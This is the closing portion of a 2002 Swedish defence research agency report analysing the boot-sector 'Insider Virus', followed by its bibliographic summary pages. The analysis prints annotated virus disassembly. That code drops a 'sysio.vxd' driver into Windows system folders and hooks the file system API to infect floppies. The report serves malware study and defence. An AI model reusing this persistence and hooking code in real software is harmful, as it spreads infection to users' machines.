; Kör gamla ISR:en och lägger in viruset i
; kedjan av "startup info structures". Därefter
; returnerar viruset till Windows igen.
pushf
call cs:dword_0_691
mov cs:word_0_640, bx
mov cs:word_0_642, es
mov cs:word_0_646, cs
mov bx, cs
mov es, bx
assume es:seg000
mov bx, 63Eh
iret

sub_0_360:

proc near

; Sparar register som viruset ändrar i.
pusha
push ds
```

```
push es

; DS=CS.
push cs
pop ds

; ES=CS.
push cs
pop es

; Utför installationen av viruset i Windows.
call sub_0_36e

; Återställer register som viruset ändrat i.
pop es
assume es:nothing
pop ds
assume ds:nothing
popa
retn
endp

sub_0_36e:

proc near

; Bägge dessa pekar på strängen "windows\system\
; sysio.vxd\0".
mov di, 622h
mov si, 606h

; Antalet bytes i varje sträng inklusive nollan
; på slutet.
mov cx, 19h

; Kopiera in VxD:n. Om det lyckas så hoppa till
; loc_0_3e4, alltså returnera till Windows igen.
call sub_0_39b
jnb loc_0_3e4

; Kopieringen misslyckades. Det beror på att
; viruset inte kunde hitta katalogen "c:\windows\
; system". Precis innan sub_0_39b returnerade
; sattes DI = 625h. Där ligger strängen "dows\
; system\sysio.vxd". Lagra "95" där. Nu finns
; strängen "c:\win95..." på offset 61Fh.
```

```
mov ax, 3539h
stosw

; Gör nu ett nytt försök med "c:\win95\system\
; sysio.vxd". Om det lyckas så hoppa till
; loc_0_3e4, alltså returnera till Windows igen.
call sub_0_395
jnb loc_0_3e4

; Kopieringen misslyckades igen. Det beror på
; att viruset inte heller kunde hitta katalogen
; "c:\win95\system". Precis innan sub_0_39b
; returnerade sattes DI = 625h. Där ligger
; strängen "95ws\system\". Nu finns strängen
; "c:\win..." på offset 61Fh. Gör ett nytt
; försök med "c:\win\system\sysio.vxd". Om det
; lyckas så hoppa till loc_0_3e4, alltså
; returnera till Windows igen.
call sub_0_395
jnb loc_0_3e4

; Nu låter viruset SI peka på strängen
; "sysio.vxd" och DI peka på positionen strax
; efter "c:\". Alltså gör det ett sista försök
; med "c:\sysio.vxd".
mov di, 622h
mov si, 615h
mov cx, 0Ah
jmp short sub_0_39b
endp

sub_0_395:

proc near
mov si, 60Dh
mov cx, 12h
endp

sub_0_39b:

proc near

; Kopiera CX bytes from DS:SI till ES:DI.
cld
rep movsb
```

```
; Öppna existerande fil. DS:DX = ASCIZ filnamn
; "c:\windows\system\sysio.vxd". Lägg handtaget
; i BX. Hoppa till loc_0_3e0 om öppningen
; lyckades, alltså stäng filen och återvänd till
; Windows. Detta eftersom Windows redan är
; infekterat om filen finns där.
mov ax, 3D02h
mov dx, 61Fh
int 21h
xchg ax, bx
jnb loc_0_3e0

; Filen fanns inte - så skapa den. DS:DX =
; ASCIZ filnamn "c:\windows\system\sysio.vxd".
; Lägg handtaget i BX. Hoppa till loc_0_3e4 om
; det misslyckades, alltså återvänd till Windows.
mov ah, 3Ch
xor cx, cx
mov dx, 61Fh
int 21h
jb loc_0_3e4
xchg ax, bx

; Pekar på första byten i VxD:n som viruset bär
; med sig.
mov si, 472h

; Pekar på storleken på första delen av VxD:n.
mov di, 412h

loc_0_3bb:

; Flytta in storleken på nästa del av VxD:n i CX.
; Hit kommer viruset så många gånger som krävs
; för att få med hela VxD:n.
mov cx, [di]

; Flytta fram till offsetet där antalet bytes
; som ska fyllas med nollor ligger lagrat.
inc di
inc di

; Låt DX innehålla offsetet till nästa del av
; VxD:n i minnet.
mov dx, si
```

```
; Skriv till filen. Filhandtaget ligger i BX sen
; tidigare. CX innehåller antalet bytes som ska
; skrivas sen tidigare. DS:DX pekar på VxD:n i
; minnet.
add si, cx
mov ah, 40h
int 21h

; Hämta antalet bytes som ska fyllas ut med
; nollor.
mov cx, [di]

; Flytta fram till positionen som anger storleken
; på nästa del av VxD:n.
inc di
inc di

; Viruset är färdigt om det träffar ett antal som
; är 0FFFFh. Då returnerar det tillbaka till
; Windows.
cmp cx, 0FFFFh
jz loc_0_3e0

loc_0_3d0:

push cx

; Skriv en nolla till filens slut.
mov ah, 40h
mov cx, 1
mov dx, 413h
int 21h

pop cx

; Repetera tills alla nollor som skulle skrivas
; in har skrivits in.
loop loc_0_3d0

; Repetera för att läsa in nästa del av VxD:n.
jmp short loc_0_3bb

; Stäng filen med handtaget som ligger i BX sedan
; tidigare.
loc_0_3e0:
mov ah, 3Eh
```

```
int 21h

; Returnera till Windows.
loc_0_3e4:
mov di, 625h
retn
endp
```

12 VxD:n sysio.vxd

VxD:n sysio.vxd har som enda funktion att trigga virusets infektionsrutin mot en diskett när användaren accessar en diskett på något sätt som orsakar en sökning av långa filnamn.

```
; Värdet på EAX i denna entrypoint är dåligt
; dokumenterat men verkar innehålla versions-
; numret på en komponent i Windows, som viruset
; gör en kontroll mot. Det är antagligen detta
; som gör att viruset inte är kapabelt att
; infektera disketter i andra versioner av
; Windows än 95.
cmp eax, 2
jz short loc_C
cmp eax, 1Bh
jz short loc_C
clc
retn

; Installera en filsystemshook med en hook-
; funktion på loc_2C. Den gamla funktionens
; adress sparas i ds:28h och sedan avslutas
; initieringen av VxD:n.
loc_C:
mov eax, offset loc_2C
push eax
VxDcall IFSMgr_InstallFileSystemApiHook
add esp, 4
mov large ds:28h, eax
or eax, eax
jz short loc_26
clc
retn

loc_26:
stc
retn

; Detta är hookfunktionen.
loc_2C:
push ebp
mov ebp, esp
sub esp, 20h
push edx
```

```
; 2Ch = sökning efter långa filnamn. Om
; anropet gäller en sådan så fortsätter
; viruset, annars anropar det original-
; funktionen direkt.
cmp dword ptr [ebp+0Ch], 2Ch
jnz short loc_54

; Vilken enhet rör det? Om det inte rör en
; diskett så körs originalfunktionen direkt.
mov edx, [ebp+10h]
cmp dl, 3
jnb short loc_54
or dl, dl
jz short loc_54

; Enheten är 1-baserad så man måste minska med
; 1 för att få ett enhetsnummer av BIOS-typ.
dec dl

; Kör ett INT 60h - detta måste göras med ett
; speciellt anrop när man är inne i en VxD.
pusha
push 60h
VMMcall Exec_VXD_Int
popa

; Anropa originalfunktionen med rätt
; parametrar.
loc_54:
mov eax, [ebp+1Ch]
push eax
mov eax, [ebp+18h]
push eax
mov eax, [ebp+14h]
push eax
mov eax, [ebp+10h]
push eax
mov eax, [ebp+0Ch]
push eax
mov eax, [ebp+8]
push eax
mov eax, large ds:28h
call dword ptr [eax]
pop edx
add esp, 18h
leave
```

```
                retn
```

Utgivare	Rapportnummer, ISRN	Klassificering
Totalförsvarets Forskningsinstitut - FOI Ledningssystem 581 11 Linköping	FOI-R–0750–SE	Metodrapport
	Månad år December 2002	Projektnummer E7033
	Verksamhetsgren 5. Uppdragsfinansierad verksamhet	
	Forskningsområde 4. Spaning och ledning	
	Delområde 41. Ledning med samband, telekom och IT-system	
Författare Arne Vidström	Projektledare Mikael Wedlin	
	Godkänd av Johan Stjernberger	
	Tekniskt och/eller vetenskapligt ansvarig Alf Bengtsson	

Rapporttitel

Analys av Insider Virus

Sammanfattning

Den här rapporten beskriver analysen av det tidigare okända viruset ”Insider Virus”. Institutionen för Systemanalys och IT-säkerhet fick en infekterad diskett för analys från en person som deltagit i en kurs som hållits av FOI.

Insider Virus är ett polymorfiskt virus med stealthteknik som infekterar boot- och partitionssektorer. Det innehåller kod som kringgår eventuella BIOS-skydd mot partitionssektorvirus, samt ett överskrivningsskydd som förhindrar att viruset tas bort från en infekterad hårddisk när det är aktivt. Viruset innehåller inte någon destruktiv payload.

Nyckelord

Insider virus, virus, virusanalys

Övriga bibliografiska uppgifter

ISSN	Antal sidor	Språk
ISSN 1650-1942	53	Svenska
Distribution enligt missiv	Pris Enl. prislista	
	Sekretess Öppen	

Issuing organisation
FOI - Swedish Defence Research Agency
Command and Control Systems
SE - 581 11 Linköping

Report number, ISRN
FOI-R–0750–SE

Report type
Methodology Report

Month year
December 2002

Project number
E7033

Customers code
5. Commissioned Research

Research area code
4. C4ISR

Sub area code
41. C4I

Author(s)
Arne Vidström

Project manager
Mikael Wedlin

Approved by
Johan Stjernberger

Scientifically and technically responsible
Alf Bengtsson

Report title
Analysis of Insider Virus

Abstract
This report describes the analysis of the formerly unknown virus ”Insider Virus”. The Department of Systems Analysis and IT Security received an infected floppy disk for analysis from a person who had participated in a course held by FOI.
Insider Virus is a polymorphic virus with stealth technology and it infects boot and partition sectors. It contains code that circumvents BIOS protection against partition sector viruses, and an overwrite protection that prevents the virus from being removed from an infected hard drive when it is active. The virus does not include any destructive payload.

Keywords
Insider virus, virus, virus analysis

Further bibliographic information

ISSN
ISSN 1650-1942

Pages
53

Language
Swedish

Price
Acc. to price list

Security classification
Unclassified